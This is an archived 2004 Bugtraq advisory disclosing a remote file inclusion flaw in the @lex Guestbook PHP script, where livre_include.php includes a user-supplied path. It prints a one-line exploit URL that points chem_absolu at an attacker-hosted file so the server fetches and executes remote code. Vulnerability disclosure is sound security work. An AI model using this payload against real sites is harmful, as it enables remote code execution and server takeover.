@lex Guestbook (PHP) Include file
From: Himeur Nourredine (lostnoobs_at_security-challenge.com)
Date: 09/26/04
- Previous message: Thierry Carrez: "[ GLSA 200409-34 ] X.org, XFree86: Integer and stack overflows in libXpm"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: 26 Sep 2004 14:36:56 -0000 To: bugtraq@securityfocus.com('binary' encoding is not supported, stored as-is)
Informations :
같같같같같같같
Website : http://www.alexphpteam.com
Version : all
Problem : Include file
PHP Code/Location :
같같같같같같같같같�
./include/livre_include.php
------------------------------------------------------------------
if (!$no_connect).... some include() functions
------------------------------------------------------------------
Exploit :
같같같같�
http://[target]/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f
Patch :
같같같�
You must to fix the variable $chem_absolu.
Nourredine Himeur aka LostNoobs
"I'm looking for a job in France"
you can see my curriculum vitae
on www.security-challenge.com/delires/
#s-c on irc.fr.worldnet.net
www.security-challenge.com
www.hacklink.net
www.opensavoir.com
- Previous message: Thierry Carrez: "[ GLSA 200409-34 ] X.org, XFree86: Integer and stack overflows in libXpm"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
